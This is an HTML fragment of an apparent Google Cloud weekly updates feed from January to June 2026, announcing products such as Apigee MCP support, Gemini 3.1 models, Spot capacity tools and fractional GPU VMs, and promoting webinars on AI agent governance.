<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Jun 15 - Jun 19</h3>
<ul>
<li><strong>Join us for a deep dive into agentic AI control with AppyThings<br></strong>Your integrations aren’t failing—they are evolving. When users interact with AI agents, they no longer arrive directly at your site, resulting in experiences stripped of your context, expertise, and intended experience. Join us on Thursday, June 25, for a community tech talk in partnership with AppyThings to learn how to solve this new gateway challenge. We will explore how MTN laid an integration foundation with the Model Context Protocol (MCP) to deliver accurate, consistent experiences. Our technical experts will demonstrate how to leverage Apigee as a centralized tools management solution to govern agent access. <br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://goo.gle/3Sfle0y" rel="noreferrer noopener" target="_blank"><strong>Register for the session</strong></a></li>
<li><strong>Optimize Spot VM Deployments with Capacity Advisor for Spot, Now in Public Preview<br></strong>Google Compute Engine has launched <strong>Capacity Advisor for Spot</strong> to Public Preview, now open to all customers. This tool turns Spot capacity discovery into a data-driven process by providing real-time deployment recommendations to maximize obtainability and minimize preemption risks. Query the <a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://docs.cloud.google.com/compute/docs/instances/view-vm-availability" rel="noreferrer noopener" target="_blank"><strong>Capacity Advisor API</strong></a> for obtainability and minimum estimated uptimes, or use the new <a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://console.cloud.google.com/compute/capacityAdvisor" rel="noreferrer noopener" target="_blank"><strong>Console UI</strong></a> featuring a global availability map, spot price lookups, and historical preemption rate trends to visually find the most cost-efficient compute capacity.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://docs.cloud.google.com/compute/docs/instances/view-vm-availability" rel="noreferrer noopener" target="_blank">Get started today</a> to start optimizing your Spot VM deployments!</li>
<li><strong>Build a multi-tenant agentic AI system<br></strong>When scaling generative AI across different business units, your teams need specialized AI agents with unique operational rules and tools. Our new reference architecture helps you build a centralized multi-tenant platform to prevent fragmented silos, eliminate data exposure risks, and maintain unified compliance. Read the guide to <a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://docs.cloud.google.com/architecture/multi-tenant-agentic-ai-system" rel="noreferrer noopener" target="_blank">design and deploy a multi-tenant agentic AI system</a> in Google Cloud.</li>
<li><strong>How to Configure Gemini Enterprise to Connect to a Custom MCP Server<br></strong>The Gemini Enterprise MCP Connector was a big announcement at Google Cloud Next because it introduces the ability to connect Gemini Enterprise to MCP servers. This blog <a href="https://medium.com/google-cloud/how-to-configure-gemini-enterprise-to-connect-to-a-custom-mcp-server-2e28adc96420" rel="noopener" target="_blank">post</a> provides a step-by-step guide on how to configure your first Custom MCP Server connector using the Google Maps Ground Lite MCP server as an example. Once you understand this flow, you can configure multiple MCP servers with Gemini Enterprise to bring all the context you need.</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Jun 8 - Jun 12</h3>
<ul>
<li><strong>Simplify Multi-Cloud Planning with Cloud Location Finder, now Generally Available</strong> <br>Cloud Location Finder provides up-to-date data on public regions, zones, and Google Distributed Cloud Connected locations across Google Cloud, AWS, Azure, and OCI. You can now programmatically discover locations based on provider, proximity, territory, and carbon footprint to optimize your global infrastructure strategy for performance, compliance, and sustainability. <br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="14" href="https://cloud.google.com/location-finder/docs" rel="noreferrer noopener" target="_blank">Get started for free today</a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Jun 1 - Jun 5</h3>
<ul>
<li><strong>Modeling the physical world with BigQuery Graph</strong><br>Managing complex supply chains requires more than just spreadsheets; it requires a digital replica of the physical world. In this <a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://cloud.google.com/blog/products/data-analytics/modeling-a-digital-twin-using-bigquery-graph" rel="noreferrer noopener" target="_blank">post</a>, Guru Rangavittal and Candice Chen explore how BigQuery Graph enables organizations to build a digital twin by turning physical assets into an interconnected map of nodes and edges. By moving beyond traditional relational databases, businesses gain real-time clarity into operations—from executing surgical ingredient recalls to analyzing weather-driven logistics risks. Discover how BigQuery Graph transforms reactive firefighting into proactive, precision modeling, allowing you to see critical connections in seconds and future-proof your supply chain.</li>
<li><strong>Apigee for AI: Govern LLMs and MCP Servers (Presented in Spanish)<br></strong>Learn how to securely transition your AI initiatives from experimental prototypes to enterprise-ready deployments. Join Luis Cuellar on June 18 for a technical deep dive (presented in Spanish) exploring Apigee’s latest AI gateway capabilities. Discover how to centralize governance over Model Context Protocol (MCP) servers, protect Large Language Models (LLMs) with robust API gateway security policies, and manage token-based quotas.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://goo.gle/4dyC2Ie" rel="noreferrer noopener" target="_blank"><strong>Register for the June 18 Spanish Community TechTalk</strong></a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>May 25 - May 29</h3>
<ul>
<li>
<p><strong><a href="https://www.anthropic.com/news/claude-opus-4-8" rel="noopener" target="_blank"><span>Anthropic’s Claude Opus 4.8</span></a><span> is now available on </span><a href="https://console.cloud.google.com/vertex-ai/publishers/anthropic/model-garden/claude-opus-4-8"><span>Gemini Enterprise Agent Platform</span></a></strong><span><strong>. </strong></span><span>As we continue to expand our platform's model offerings, this addition gives organizations more options for handling complex, multi-stage enterprise workflows. Claude Opus 4.8 brings strong capabilities in agentic coding, allowing developers to manage extensive refactors and tracking dependencies over extended sessions.</span></p>
</li>
<li><strong>API Horizon Munich July 6, 2026: Orchestrating the Next Era of AI and APIs <br></strong>Master the orchestration of next-gen AI and digital ecosystems. Join Google Cloud experts and DACH tech leaders on July 6 for an exclusive look at the Apigee roadmap, Agent Management, and Model Context Protocol (MCP). Gain real-world insights and connect with the regional integration community.<strong><br><br><a href="https://goo.gle/4dTxQmo" rel="noopener" target="_blank">Register now</a></strong></li>
<li><strong>Securing AI Agents: The Extended Agent Gateway Pattern<br></strong>Learn how to prevent autonomous AI agents from invoking unauthorized APIs. Join Apigee Specialist Joel Gauci on June 4 for a technical deep dive into the Extended Agent Gateway pattern. This session covers enforcing Fine-Grained Authorization (FGA), implementing secure token exchange, and establishing Model Context Protocol (MCP) governance at the API gateway layer to protect enterprise backend services.<br><br><a href="https://goo.gle/4fbAsxg" rel="noopener" target="_blank"><strong>Register for the June 4 Community TechTalk</strong></a></li>
<li><strong>API-to-Agent Security: Exposing REST APIs to Gemini Enterprise via MCP<br></strong>Connect Gemini Enterprise agents to core data without creating security hazards. Join Google Cloud Specialist Nigel Walters on June 11 to learn how to instantly transform legacy REST APIs into secure Model Context Protocol (MCP) servers. We’ll cover how to safely register tools with Gemini while enforcing gateway-level guardrails like rate limiting and access control policies.<br><br><a href="https://goo.gle/4nVyjIr" rel="noopener" target="_blank"><strong>Register for the June 11 Community TechTalk</strong></a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>May 18 - May 22</h3>
<ul>
<li><strong>Chinese Webinar | June 4: AI Command and Control<br></strong>As AI agents move from experimental pilots to core enterprise functions, governance has become a critical next step. Join Google Cloud on June 4th at 10:00 AM (Beijing Time) to learn how to build a secure AI management layer architecture. We'll explore how to develop governed MCP (Model Context Protocol) endpoints, manage tool access to enterprise data, and leverage robust audit logs to operationalize AI. This session also includes a practical demonstration of these governance frameworks on Google Cloud.<br><br><a href="https://goo.gle/4dx4Lf5" rel="noopener" target="_blank">Register here</a></li>
<li><strong>GCP Announces New Features to Benchmark and Optimize LLMs for On-Device Use Cases<br></strong>Deploying fine-tuned LLMs from GCP to edge devices like smartphones is complex due to fragmented hardware. Google AI Edge Portal bridges this gap, giving GCP developers the ability to test AI performance on 120+ Android devices, representing the full diversity of high, medium, and low tier smartphones on the market today. This week at I/O, we announced brand new <a href="https://cloud.google.com/blog/products/ai-machine-learning/benchmark-llms-on-device-with-ai-edge-portal" rel="noopener" target="_blank">capabilities</a> to benchmark and debug LLM performance across these devices. <a href="https://docs.google.com/forms/d/e/1FAIpQLSfTcGPycQve8TLAsfH46pBlXBZe9FrgJAClwbF7DeL1LgVn4Q/viewform" rel="noopener" target="_blank">Sign-up</a> to utilize these new features in private preview today.</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>May 11 - May 15</h3>
<ul>
<li><strong>Build Your AI &amp; MCP Control Tower for Universal Governance<br></strong>Master the future of agentic security with Apigee. Join our Community TechTalk on May 21 to discover how Apigee serves as a central "Control Tower" for the Model Context Protocol (MCP). We will explore how new JSON-RPC tool authorization enables fine-grained access policies across your organization, ensuring secure and scalable AI deployments. Whether managing internal tools or external users, learn to govern your agentic ecosystem with absolute precision. This session is designed for global coverage across EMEA and AMER regions.<br><br><a href="https://goo.gle/4u9slWF" rel="noopener" target="_blank">Register for the May 21 Community TechTalk</a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Apr 27 - May 1</h3>
<ul>
<li><strong>Master Your Launch: The Apigee Production Go-Live Checklist<br></strong>Ensure a secure launch with the Apigee production guide. Join Nicola Cardace on May 28 to explore security guardrails, including IAM roles, mTLS configurations, and encrypted KVM migrations. Scheduled at 11 AM EDT / 5 PM CEST to support EMEA and AMER teams, this TechTalk provides the technical roadmap you need to flip the switch with absolute confidence.<br><br><strong><a href="https://goo.gle/4elMCTI" rel="noopener" target="_blank">Register for the May 28 Community TechTalk</a></strong></li>
<li>
<p><strong>Transforming APIs into Governed Agentic Tools on the Google Cloud Agentic Platform<br></strong><span>Turn your APIs into secure, governed agentic tools on the Google Cloud Agentic Platform. Join Specialist Christophe Lalevée on May 7 for a technical deep dive into AI productization. Scheduled at 5 PM CEST / 11 AM EDT to maximize coverage for developers across EMEA and AMER, this session explores the integration and governance frameworks required to scale enterprise-ready AI with confidence.</span></p>
<p><a href="https://goo.gle/3PfWm7M" rel="noopener" target="_blank">Register for the May 7 Community TechTalk</a></p>
</li>
<li><a href="https://docs.cloud.google.com/compute/docs/accelerator-optimized-machines#g4-machine-types" rel="noopener" target="_blank">Fractional G4 VMs</a> are Generaly Available, providing a highly efficient and cost-effective entry point for AI and graphics workloads. These new configurations, using NVIDIA virtual GPU (vGPU) technology, allow you to leverage the power of the NVIDIA RTX PRO 6000 Blackwell Server Edition GPUs in flexible, smaller increments, so you can right-size your infrastructure to match the specific demands of your applications. By providing more granular access to advanced hardware, fractional G4 VMs let you optimize resource allocation and reduce overhead without sacrificing performance. You can now select from additional GPU slice sizes for your specific needs:
<ul>
<li><strong>1/2 GPU:</strong> Ideal for more intensive tasks such as LLM inference, robotics sensor simulation, and high-fidelity 3D rendering.</li>
<li><strong>1/4 GPU:</strong> Optimized for mainstream workloads, including mid-range creative design, video transcoding, and real-time data visualization.</li>
<li><strong>1/8 GPU:</strong> Great for lightweight applications such as remote desktops, productivity tools, and entry-level streaming services.</li>
</ul>
</li>
<li>
<p>Transitioning AI from a sandbox prototype to an enterprise-grade system is a major hurdle. A monolithic script won't suffice for widespread deployment. To achieve true scale and reliability with Gemini, organizations must adopt service-oriented micro-agent architectures, establish Zero-Trust security, and implement rigorous EvalOps. Master the "Agentic Maturity Ladder" to ensure your AI &amp; Agentic solutions are robust, secure, and ready for the real world.</p>
<p><a href="https://lnkd.in/gHBH8cTv" rel="noopener" target="_blank">Watch the deep dive</a> and <a href="https://discuss.google.dev/t/beyond-the-prototype-scaling-production-grade-agents-with-gemini/356140" rel="noopener" target="_blank">read the developer blog</a> to learn more.</p>
</li>
<li><strong>ML Development in VS Code with Google Cloud Power: Workbench Extension Now Available<br></strong>Data scientists and developers can now combine the local productivity of VS Code with the scalable infrastructure of Google Cloud. The new Google Cloud Workbench Notebooks extension allows you to connect to and run notebooks on managed cloud environments directly within your local IDE. This integration streamlines the ML lifecycle by eliminating context switching and providing high-performance compute for complex workloads in a familiar interface. As part of our commitment to the developer ecosystem, the extension is fully open-sourced to support community-driven innovation.
<ul>
<li><strong>Install from Marketplace:</strong> <a href="https://marketplace.visualstudio.com/items?itemName=GoogleCloudTools.workbench-notebooks" rel="noopener" target="_blank">GoogleCloudTools.workbench-notebooks</a></li>
<li><strong>Contribute on GitHub:</strong> <a href="https://github.com/GoogleCloudPlatform/colab-enterprise-vscode" rel="noopener" target="_blank">colab-enterprise-vscode</a></li>
</ul>
</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Apr 20 - Apr 24</h3>
<ul>
<li><strong>Announcing the 2026 Google Cloud Partners of the Year<br></strong>Google Cloud is honored to celebrate the winners of the 2026 Partner of the Year awards! These awards recognize an exceptional group of partners across AI, Security, Infrastructure, and more, who have demonstrated a commitment to customer success. From global system integrators to specialized startups, these winners are leveraging the power of Google Cloud to solve complex challenges and drive digital transformation worldwide. Join us in congratulating these organizations for their innovation, collaboration, and impactful results over the past year.<br><br>See the <a href="https://cloud.google.com/blog/topics/partners/2026-partners-of-the-year-winners-next26">2026 Partner Award winners</a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Apr 13 - Apr 17</h3>
<ul>
<li>We're excited to announce the <strong>Public Preview of Datastream’s metadata integration with Knowledge Catalog</strong>. This is the first step in our vision to provide a centralized, "single pane of glass" for all Datastream assets. The enhancement automatically synchronizes Streams, Connection Profiles, and Private Connections, eliminating data silos. It enhances discoverability, allowing you to search for Datastream assets using the same interface as BigQuery tables. Centralized governance is also provided, making your real-time data estate more transparent and easier to manage.</li>
<li><strong>Upgrading Apigee OPDK to 4.53 with OS Modernization<br></strong>Modernize your infrastructure using Google’s official, sequential upgrade path. Our Technical expert, Rakesh Talanki outlines how to upgrade Apigee OPDK to v4.53 while migrating to a supported OS (RHEL 8.x/9.x). This guide covers the "build-out" methodology, including multi-data center syncing, to ensure a stable, zero-downtime transition<br><br><a href="https://goo.gle/3Oa8uqy" rel="noopener" target="_blank">Read the guide</a></li>
<li><strong>Cloud Run Worker Pools and CREMA: Powering Serverless AI at Scale<br></strong>Google Cloud has announced the General Availability of <strong>Cloud Run worker pools</strong>, a new resource type designed specifically for pull-based, non-HTTP workloads. Unlike traditional Cloud Run services that scale based on request traffic, worker pools provide an "always-on" environment for background tasks like processing message queues or running large-scale AI inference. To support this, Google Cloud also open-sourced the <strong>Cloud Run External Metrics Autoscaler (CREMA)</strong>. Built on KEDA, CREMA enables queue-aware autoscaling for worker pools, allowing them to dynamically scale based on external signals like Pub/Sub backlog or Kafka lag.</li>
<li><strong>Apigee Model Context Protocol (MCP) now Generally Available<br></strong>Expose enterprise APIs as MCP tools for agentic AI applications with the General Availability of MCP in Apigee. This update allows developers to transform APIs into AI-ready tools using OpenAPI Specifications, removing the need for local MCP servers or additional infrastructure. With managed endpoints and semantic search in API hub, you can now provide AI agents with secure, governed access to enterprise data at scale.<br><br><a href="https://goo.gle/3QfoEQ4" rel="noopener" target="_blank"><em>Explore the MCP overview</em></a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Apr 6 - Apr 10</h3>
<ul>
<li><strong>Community TechTalk: Powering Retail Agents with ADK, UCP &amp; Apigee X<br></strong>Move beyond basic chatbots to secure, transactional AI experiences. Join our Community TechTalk on April 16 to learn how Apigee X and Gemini build a "Trust Layer" for AI shopping assistants using UCP standards. We’ll demonstrate how to block prompt injections with Model Armor and implement cost governance via token limits to secure the path from discovery to purchase.<br><br><a href="https://goo.gle/41ocUgq" rel="noopener" target="_blank"><span>Register for the TechTalk</span></a></li>
<li><strong>Implement multimodal capabilities in your AI agents<br></strong>Explore three new reference architectures for building sophisticated multi-agent AI systems that can process and analyze multimodal data. To analyze disparate multimodal data and produce a high-confidence classification, see <a href="https://docs.cloud.google.com/architecture/agentic-ai-classify-multimodal-data"><span>Classify multimodal data</span></a><span>. To create a fluid conversational AI that processes audio and video streams in real time, see</span> <a href="https://docs.cloud.google.com/architecture/agentic-ai-bidirectional-multimodal-streaming"><span>Enable live bidirectional multimodal streaming</span></a><span>. To consolidate fragmented multimodal data into a searchable knowledge graph, see</span> <a href="https://docs.cloud.google.com/architecture/agentic-ai-multimodal-graph-rag-resource-orchestration"><span>Multimodal GraphRAG resource orchestration</span></a><span>.</span></li>
<li><strong>Automate SecOps workflows with an agentic AI system<br></strong>To accelerate incident response and reduce manual toil for your security team, you need a system that can automate remediation playbooks. Our new reference architecture helps you build an AI agent that orchestrates complex triage and investigation workflows across disparate security tools, such as SIEM, CSPM, and EDR, from a single interface. See the full guide to <a href="https://docs.cloud.google.com/architecture/agentic-ai-orchestrate-security-ops-workflows"><span>orchestrate security operations workflows</span></a><span>.</span></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Mar 30 - Apr 3</h3>
<ul>
<li><strong>ASEAN Webinar | April 30: Mastering Agentic Governance at Scale with GCP<br></strong>As AI agents move from experimental pilots to core enterprise functions, governance is the critical next step. Join Google Cloud experts <strong>Shilpi Puri &amp; Wely Lau</strong> for a <strong>webinar</strong> on <strong>April 30th at 11:00 AM SGT</strong> to learn how to architect a secure AI Management layer. We’ll explore developing governed MCP endpoints, managing tool access to enterprise data, and operationalizing AI with robust audit logs. The session includes a live demo of these frameworks in action on Google Cloud.<br><br><a href="https://goo.gle/47FX1Wn" rel="noopener" target="_blank"><strong>RSVP here.</strong></a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Mar 23 - Mar 27</h3>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Turn your API sprawl into an agent-ready catalog<br></strong><span>As organizations scale, APIs often become scattered across multiple gateways, creating "blind spots" that hinder AI adoption. To solve this, we’ve introduced two new capabilities for Apigee API hub: a new integration with API Gateway to automatically centralize API metadata into a single control plane, and a specification boost add-on (now in public preview). This add-on uses AI to enhance your API documentation with the precise examples and error codes that AI agents need to function reliably.<br><br></span><a href="https://goo.gle/47dEYqc" rel="noopener" target="_blank"><span>Read the full blog post to get started.</span></a></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Webinar | April 16: AI Command &amp; Control<br></strong><span>As AI agents move from experimental pilots to core enterprise functions, governance is the critical next step. Join Google Cloud expert Satyam Maloo for a webinar on April 16th at 11:00 AM IST to learn how to architect a secure AI Management layer. We’ll explore developing governed MCP endpoints, managing tool access to enterprise data, and operationalizing AI with robust audit logs. The session includes a live demo of these frameworks in action on Google Cloud.<br><br></span><a href="https://goo.gle/4t43Vg4" rel="noopener" target="_blank"><span>RSVP here.</span></a></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Modernizing and Decoupling Event Ingestion with Apigee<br></strong><span>In modern cloud-native architectures, decoupling producers from consumers is critical for building resilient systems. While Google Cloud Pub/Sub provides a scalable backbone, exposing it directly to external clients can introduce security and management overhead. This new guide explores how to leverage Apigee as an intelligent HTTP ingestion point. Learn how to handle security, mediation, and traffic control before messages reach your internal bus using the PublishMessage policy or Pub/Sub API.</span><br><br><a href="https://goo.gle/3POgsWF" rel="noopener" target="_blank"><span>Read the full guide.</span></a></p>
</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Mar 16 - Mar 20</h3>
<ul>
<li><strong>Gemini-powered Assistant in BigQuery Studio Gets Context-Aware Upgrades<br></strong>The Gemini-powered assistant in BigQuery Studio has been transformed into a fully context-aware analytics partner, supporting your entire data lifecycle. The new capabilities include intelligent resource discovery, which uses Dataplex Universal Catalog search to find resources across projects and deep dive into metadata using natural language. You can now automate tasks, such as scheduling production-grade queries directly through the chat interface, and instantly troubleshoot long-running or failed jobs with root cause analysis and cost control auditing.<br><br><a href="https://docs.cloud.google.com/bigquery/docs/use-cloud-assist">Explore</a> the full range of what the assistant can do.</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Mar 9 - Mar 13</h3>
<ul>
<li>
<div><strong>Want to use Gemini to develop code and don't know where to start?</strong><br>This <a href="https://medium.com/google-cloud/supercharge-your-spark-development-with-gemini-1540f1cb47d4" rel="noopener" target="_blank">article</a> includes a couple of examples of developing code with Gemini prompts; it identified changes that were needed to be made to get the code working. The article also refers to other examples that are available on github. </div>
</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Mar 2 - Mar 6</h3>
<ul>
<li>
<p><span><strong>Introducing Gemini 3.1 Flash-Lite, our fastest and most cost-efficient Gemini 3 series model.</strong> Built for high-volume developer workloads at scale, 3.1 Flash-Lite delivers high quality for its price and model tier. Gemini 3.1 Flash-Lite can tackle tasks at scale, like high-volume translation and content moderation, where cost is a priority. And it can also handle more complex workloads where more in-depth reasoning is needed, like generating user interfaces and dashboards, creating simulations or following instructions.</span></p>
<p><span>Starting today, 3.1 Flash-Lite is rolling out in preview to enterprises via </span><a href="https://console.cloud.google.com/vertex-ai/studio/multimodal?mode=prompt&amp;model=gemini-3.1-flash-lite-preview"><span>Vertex AI</span></a><span> and </span><span>developers via the Gemini API in </span><a href="https://aistudio.google.com/prompts/new_chat?model=gemini-3.1-flash-lite-preview" rel="noopener" target="_blank"><span>Google AI Studio</span></a><span>.</span></p>
</li>
<li>
<div>
<p><strong>TechTalk: Implementing Device Authorization Grant (RFC 8628) for Apigee</strong><br>Learn how to authorize "headless" devices like Smart TVs or AI agents that lack keyboards and browsers. Join our Community TechTalk on March 19 (5PM CET / 12PM EDT) to go under the hood of Apigee X/Hybrid. We’ll cover the real-world mechanics of state management, polling, and human-in-the-loop security patterns for devices and autonomous agents.</p>
<p><a href="https://goo.gle/4r6o6Zi" rel="noopener" target="_blank">Register for the TechTalk</a></p>
</div>
</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Feb 23 - Feb 27</h3>
<ul>
<li>
<p><span><strong>Pro-level image generation gets faster and more accessible with Nano Banana 2<br></strong></span><span>Nano Banana 2 is our state-of-the-art image generation and editing model. It delivers Pro-level image generation and editing at the speed you expect from Flash — making the quality, reasoning, and world knowledge you loved about Nano Banana Pro more accessible. Learn more about the model </span><a href="https://blog.google/innovation-and-ai/technology/ai/nano-banana-2" rel="noopener" target="_blank"><span>here</span></a><span>.</span></p>
</li>
</ul>
<ul>
<li>
<p><strong>The Intelligent Path to Compliance: Transforming Regulatory QC with Google Cloud<br></strong><span>Reducing "Refuse to File" (RTF) risks and submission cycle times is critical for life sciences leaders. Google Cloud’s Regulatory Submission Semantic QC Auditor leverages Gemini and RAG architecture to transform Quality Control from a manual burden into an active, intelligent workflow.</span></p>
<p><span>By automating semantic cross-referencing, narrative coherence checks, and dynamic guidance-based auditing, this solution ensures rigorous accuracy and auditability. Operating within a secure GxP-ready environment, it empowers teams to detect subtle inconsistencies and generate remediation plans without sacrificing data privacy. <br><br></span><a href="https://discuss.google.dev/t/the-intelligent-path-to-compliance-transforming-regulatory-quality-control-with-google-cloud/335276" rel="noopener" target="_blank"><span>Learn more</span></a><span>.</span></p>
</li>
<li><span><span>Stop typing, start interacting! <strong>The Gemini Live Agent Challenge is here</strong>. Build immersive agents that can help you see, hear, and speak using Gemini and Google Cloud. Compete for your share of $80,000+ in prizes and a trip to Google Cloud Next '26!<br><br></span><span>Submissions are open from February 16, 2026 to March 16, 2026. Learn more and register at </span><a href="http://geminiliveagentchallenge.devpost.com/" rel="noopener" target="_blank"><span>geminiliveagentchallenge.devpost.com</span></a></span></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Feb 9 - Feb 13</h3>
<ul>
<li>
<p><strong><span>Introducing Gemini 3.1 Pro on Google Cloud. </span></strong></p>
<span>3.1 Pro is a noticeably smarter, more capable baseline for complex problem-solving. We’re shipping 3.1 Pro at scale, building upon our </span><a href="https://cloud.google.com/blog/products/ai-machine-learning/gemini-3-is-available-for-enterprise?e=48754805"><span>goal</span></a><span> to help you transform your business for the agentic future. Learn more about the model’s capabilities </span><a href="https://blog.google/innovation-and-ai/models-and-research/gemini-models/gemini-3-1-pro" rel="noopener" target="_blank"><span>here</span></a><span>. Gemini 3.1 Pro is available starting today in preview in </span><a href="https://cloud.google.com/vertex-ai?e=48754805"><span>Vertex AI</span></a><span> and </span><a href="https://cloud.google.com/gemini-enterprise?e=48754805"><span>Gemini Enterprise</span></a><span>. Developers can access the model in preview via the Gemini API in </span><a href="https://aistudio.google.com/prompts/new_chat?model=gemini-3.1-pro-preview" rel="noopener" target="_blank"><span>Google AI Studio</span></a><span>, </span><a href="https://developer.android.com/studio" rel="noopener" target="_blank"><span>Android Studio</span></a><span>, </span><a href="https://antigravity.google/blog/gemini-3-1-in-google-antigravity" rel="noopener" target="_blank"><span>Google Antigravity</span></a><span>, and </span><a href="https://geminicli.com/" rel="noopener" target="_blank"><span>Gemini CLI</span></a><span>.<br><br></span></li>
<li><strong>Automate Storage Compatibility with GKE Dynamic Default Storage Classes<br></strong>Managing storage across mixed-generation VM clusters in GKE just got easier. With the new <strong>Dynamic Default Storage Class</strong>, Google Kubernetes Engine automatically selects between Persistent Disk (PD) and Hyperdisk based on a node's specific hardware compatibility. This abstraction eliminates the need for complex scheduling rules and manual pairing, ensuring your volumes "just work" regardless of the underlying infrastructure. By defining both variants in a single class, you reduce operational overhead while maintaining peak performance and cost-efficiency across your entire cluster.<br><br><a href="https://docs.cloud.google.com/kubernetes-engine/docs/concepts/hyperdisk#automated_disk_type_selection" rel="noopener" target="_blank">Explore automated disk type selection</a></li>
<li>
<p><strong>Community TechTalk: AI-Powered Apigee Development with strofa.io<br></strong><strong>Join the Apigee community on February 26</strong><span> for a deep dive into</span> <a href="https://www.google.com/search?q=http://strofa.io" rel="noopener" target="_blank"><span>strofa.io</span></a><span>. Guest speaker Denis Kalitviansky will demonstrate how this new AI-powered tool automates and orchestrates Apigee development, from local emulators to large-scale hybrid environments. Discover how to scale your API management and streamline team collaboration using the latest in AI-driven automation.</span></p>
<p><a href="https://goo.gle/3Oerns3" rel="noopener" target="_blank"><span>Register now to reserve your spot.</span></a></p>
</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Jan 26 - Jan 30</h3>
<ul>
<li><strong><span>Simplify API Governance with Native OpenAPI v3 Support<br></span></strong>Eliminate integration debt and accelerate deployment velocity with the General Availability of OpenAPI v3 (OASv3) support for API Gateway and Cloud Endpoints. You no longer need to downgrade modern specifications to OASv2. Instead, you can now define API contracts and enforce critical policies—including telemetry, quotas, and security—using native Google-specific extensions directly within your OASv3 files. This update ensures your APIs are secure by design while remaining fully compatible with the modern developer ecosystem and Google Cloud’s AI services.<br><br><a href="https://goo.gle/49Wx58Z" rel="noopener" target="_blank"><span>Get started with OpenAPI v3 on API Gateway and Cloud Endpoints.</span></a></li>
</ul>
<ul>
